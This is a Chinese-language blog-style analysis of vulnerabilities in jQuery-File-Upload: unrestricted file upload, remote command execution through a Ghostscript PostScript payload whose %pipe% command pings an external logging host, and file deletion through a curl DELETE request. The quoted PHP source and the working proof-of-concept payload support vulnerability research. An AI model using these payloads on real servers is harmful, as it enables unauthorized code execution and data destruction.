前言:看了先知的https://xz.aliyun.com/t/3819文章之后,自己想试着分析下!
任意文件上传漏洞影响的版本:
jQuery-File-Upload版本 < v9.22.1 and Apache > 2.3.9(默认不再支持.htaccess) or others
产生漏洞的代码:
protected function handle_file_upload($uploaded_file, $name, $size, $type, $error,
$index = null, $content_range = null) {
$file = new \\stdClass();
$file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error,
$index, $content_range);
$file->size = $this->fix_integer_overflow((int)$size);
$file->type = $type;
if ($this->validate($uploaded_file, $file, $error, $index)) {
$this->handle_form_data($file, $index);
$upload_dir = $this->get_upload_path();
if (!is_dir($upload_dir)) {
mkdir($upload_dir, $this->options[\'mkdir_mode\'], true);
}
$file_path = $this->get_upload_path($file->name);
$append_file = $content_range && is_file($file_path) &&
$file->size > $this->get_file_size($file_path);
if ($uploaded_file && is_uploaded_file($uploaded_file)) {
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, \'r\'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path); // 进行上传操作
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options[\'input_stream\'], \'r\'),
$append_file ? FILE_APPEND : 0
);
}
$file_size = $this->get_file_size($file_path, $append_file);
if ($file_size === $file->size) {
$file->url = $this->get_download_url($file->name);
if ($this->is_valid_image_file($file_path)) {
$this->handle_image_file($file_path, $file);
}
} else {
$file->size = $file_size;
if (!$content_range && $this->options[\'discard_aborted_uploads\']) {
unlink($file_path);
$file->error = $this->get_error_message(\'abort\');
}
}
$this->set_additional_file_properties($file);
}
return $file;
}
一共经过如下四个步骤
主要看就是post
函数和handle_file_upload
函数
post函数中主要就是将上传的文件用$_FILE
超全局变量来进行接收,然后把数组中相关参数放入到handle_file_upload
里面进行处理
这里stdClass
类,可以理解为节省资源,这里用来作为一个存储上传文件相关数据来使用的
get_file_name
进行了取文件名的后缀
进行验证操作
重点来了,可以发现默认的正则是/.+$/i
,不对大小写敏感,并且任意匹配一个或多个字符,所以可以直接绕过
if (!preg_match($this->options[\'accept_file_types\'], $file->name)) {
$file->error = $this->get_error_message(\'accept_file_types\');
return false;
}
来到这里,这里虽然有进行图片后缀名的正则匹配,但是不会进行相应的措施
然后就进行了上传文件move_uploaded_file
if ($uploaded_file && is_uploaded_file($uploaded_file)) { //2222
// multipart/formdata uploads (POST method uploads)
if ($append_file) {
file_put_contents(
$file_path,
fopen($uploaded_file, \'r\'),
FILE_APPEND
);
} else {
move_uploaded_file($uploaded_file, $file_path);
}
} else {
// Non-multipart uploads (PUT method support)
file_put_contents(
$file_path,
fopen($this->options[\'input_stream\'], \'r\'),
$append_file ? FILE_APPEND : 0
);
}
修复建议:可以在正则的地方进行修改匹配,也可以在验证是否是图片的时候进行return
远程命令执行漏洞:
jQuery-File-Upload版本 < v9.22.1,自己也只测试过9.22.0
get_image_size函数如下代码:
protected function get_image_size($file_path) {
if ($this->options[\'image_library\']) {
if (extension_loaded(\'imagick\')) {
$image = new \\Imagick();
try {
if (@$image->pingImage($file_path)) {
$dimensions = array($image->getImageWidth(), $image->getImageHeight());
$image->destroy();
return $dimensions;
}
return false;
} catch (\\Exception $e) {
error_log($e->getMessage());
}
}
if ($this->options[\'image_library\'] === 2) {
$cmd = $this->options[\'identify_bin\'];
$cmd .= \' -ping \'.escapeshellarg($file_path);
exec($cmd, $output, $error);
if (!$error && !empty($output)) {
// image.jpg JPEG 1920x1080 1920x1080+0+0 8-bit sRGB 465KB 0.000u 0:00.000
$infos = preg_split(\'/\\s+/\', substr($output[0], strlen($file_path)));
$dimensions = preg_split(\'/x/\', $infos[2]);
return $dimensions;
}
return false;
}
}
if (!function_exists(\'getimagesize\')) {
error_log(\'Function not found: getimagesize\');
return false;
}
return @getimagesize($file_path);
}
可以看下调用的地方
在validate
中如下位置
具体的imagic如何触发的远程代码执行我也不清楚,以后懂的话再填充上!
利用poc(如果没有收到,记得考虑下是否是内网存在不出网的可能性):
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ping magic.0wtpsg.ceye.io) currentdevice putdeviceprops
文件越权删除漏洞
漏洞影响版本:自己测试了最新版本也存在~
可以看下,下面的代码中$success = is_file($file_path) && $file_name[0] !== \'.\' && unlink($file_path);
,这里面如果我们的$file_path能够进行控制的话,那么就能够进行越权进行文件的删除了
public function delete($print_response = true) {
$file_names = $this->get_file_names_params();
//var_dump($file_names);
if (empty($file_names)) { //返回为空,走下面流程
$file_names = array($this->get_file_name_param()); //$file_names 里面存放着$_GET[\'file\']接收的内容
}
$response = array();
foreach ($file_names as $file_name) {
$file_path = $this->get_upload_path($file_name); //取当前文件的路径
$success = is_file($file_path) && $file_name[0] !== \'.\' && unlink($file_path); //判断当前文件是否为文件
// 并且判断文件名是否以 点 开头,例如.htaccess
if ($success) {
var_dump($this->options[\'image_versions\']);
foreach ($this->options[\'image_versions\'] as $version => $options) {
if (!empty($version)) {
$file = $this->get_upload_path($file_name, $version);
if (is_file($file)) {
unlink($file);
}
}
}
}
$response[$file_name] = $success;
}
return $this->generate_response($response, $print_response);
}
payload:curl -X DELETE "http://127.0.0.1/server/php/index.php?file=文件名
很遗憾这里的文件名不能可控,只能是当前的文件进行越权删除来利用,原因是get_file_names_params
函数中调用的get_file_name_param
函数中的$this->basename(stripslashes($this->get_query_param($name)))
,对输入的文件名进行了过滤操作,导致路径不可控
protected function get_file_name_param() {
$name = $this->get_singular_param_name();
return $this->basename(stripslashes($this->get_query_param($name)));
}